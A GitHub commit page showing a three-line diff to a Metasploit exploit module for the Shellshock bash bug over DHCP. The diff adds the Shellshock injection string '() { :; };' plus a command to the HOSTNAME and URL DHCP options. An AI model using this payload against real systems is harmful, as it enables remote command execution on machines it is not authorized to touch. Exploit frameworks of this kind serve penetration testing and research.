Skip to content

Commit 54e6763

Browse files
committed
Add injection to HOSTNAME and URL
1 parent a31b4ec commit 54e6763

File tree

1 file changed

+3
-0
lines changed

1 file changed

+3
-0
lines changed

modules/exploits/unix/dhcp/bash_environment.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -70,6 +70,9 @@ def exploit
7070
if hash['DOMAINNAME'].length > 255
7171
raise ArgumentError, 'payload too long'
7272
end
73+
74+
hash['HOSTNAME'] = "() { :; };#{echo}"
75+
hash['URL'] = "() { :; };#{echo}"
7376
start_service(hash)
7477

7578
begin

0 commit comments

Comments
 (0)